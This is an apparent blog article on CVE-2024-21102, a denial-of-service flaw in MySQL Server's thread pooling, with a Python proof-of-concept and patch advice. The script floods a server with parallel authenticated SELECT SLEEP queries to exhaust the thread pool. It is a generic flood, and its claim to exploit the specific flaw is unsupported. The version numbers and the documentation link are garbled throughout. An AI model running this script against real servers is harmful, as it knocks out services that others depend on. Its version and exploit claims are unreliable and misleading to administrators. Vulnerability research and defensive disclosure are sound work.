CVE-2024-21102 is a newly disclosed vulnerability affecting Oracle MySQL Server, specifically in its Thread Pooling component. This flaw impacts MySQL versions 8..36 and earlier as well as 8.3. and earlier, and it poses a moderate but significant risk—especially in environments where high-privileged users may not be fully trusted.

In this article, we’ll explain what the vulnerability is, walk through how an attacker could cause a server crash, and provide proof-of-concept code to demonstrate the vulnerability. All information is focused on helping MySQL admins and security teams understand and mitigate this issue.

Attack prerequisites: High privileges required, remote network access

Official Advisory: Oracle Critical Patch Update Advisory - April 2024

How does the attack work?

At its core, CVE-2024-21102 takes advantage of a flaw in the way MySQL’s thread pooling handles certain client commands and connections. By sending a sequence of requests using multiple protocols or crafted commands, a high-privileged user can force thread pool resources to become exhausted or enter a deadlock, causing the server to hang or crash repeatedly — resulting in a DENIAL OF SERVICE.

Note: While this is not exploitable without credentials, the “high privileged attacker” requirement is not a strong limitation in diverse corporate and cloud environments.

Prerequisites

- MySQL Server 8..36 or earlier / 8.3. or earlier

Proof-of-Concept (PoC) Code

Below is a simple Python script (using mysql-connector-python) that demonstrates how an attacker can exploit the issue to cause a server hang or crash, by flooding it with crafted connections and long-running queries that choke the thread pool.

import mysql.connector
import threading
import time

# MySQL connection settings (replace with real values)
MYSQL_HOST = 'target.mysql.server'
MYSQL_PORT = 3306
MYSQL_USER = 'adminuser'
MYSQL_PASS = 'supersecretpassword'
MYSQL_DB   = 'testdb'

# Number of threads and connections to exhaust the pool (tune as needed)
CONNECTIONS = 40

def do_heavy_query():
    try:
        conn = mysql.connector.connect(
            host=MYSQL_HOST,
            port=MYSQL_PORT,
            user=MYSQL_USER,
            password=MYSQL_PASS,
            database=MYSQL_DB
        )
        cursor = conn.cursor()
        # Craft queries that take a long time
        cursor.execute("SELECT SLEEP(15);")  # Sleep per connection, choke thread pool
        cursor.close()
        conn.close()
    except Exception as e:
        print(f"Error: {e}")

threads = []
for _ in range(CONNECTIONS):
    t = threading.Thread(target=do_heavy_query)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

print("[+] Completed massive pool abuse. If successful, MySQL should be unresponsive!")

Opens many parallel connections, each running a long-running SELECT SLEEP() query.

- Starves the thread pool, causing new requests to hang or (depending on configuration and version) triggering a crash or service deadlock.

Real-World Impact

- Remote DoS: MySQL becomes unresponsive or repeatedly crashes, denying availability to all applications.

Recovery may require a manual service restart.

- Environments relying heavily on thread pooling (high-concurrency, multi-tenant) are especially at risk.

Immediately patch to at least MySQL 8..37 or 8.3.1 (or later).

- MySQL Download Community Page

Further References

- Oracle’s Official Advisory: April 2024 CPU
- CVE Detail - CVE-2024-21102
- MySQL Thread Pool documentation: https://dev.mysql.com/doc/refman/8./en/thread-pool.html

Final Thoughts

While CVE-2024-21102 may require a high-privileged user to exploit, it serves as a cautionary tale for shared and cloud environments. The vulnerability is trivially exploitable once access is obtained and can cause serious headaches by crashing mission-critical MySQL infrastructure. Patch your servers, review your privilege policies, and monitor for abuse!

Stay safe!

> *This article is exclusive to this platform and not found anywhere else. All code and guidance provided for demonstration and defensive purposes only.*

Timeline

Published on: 04/16/2024 22:15:31 UTC
Last modified on: 06/04/2024 17:37:36 UTC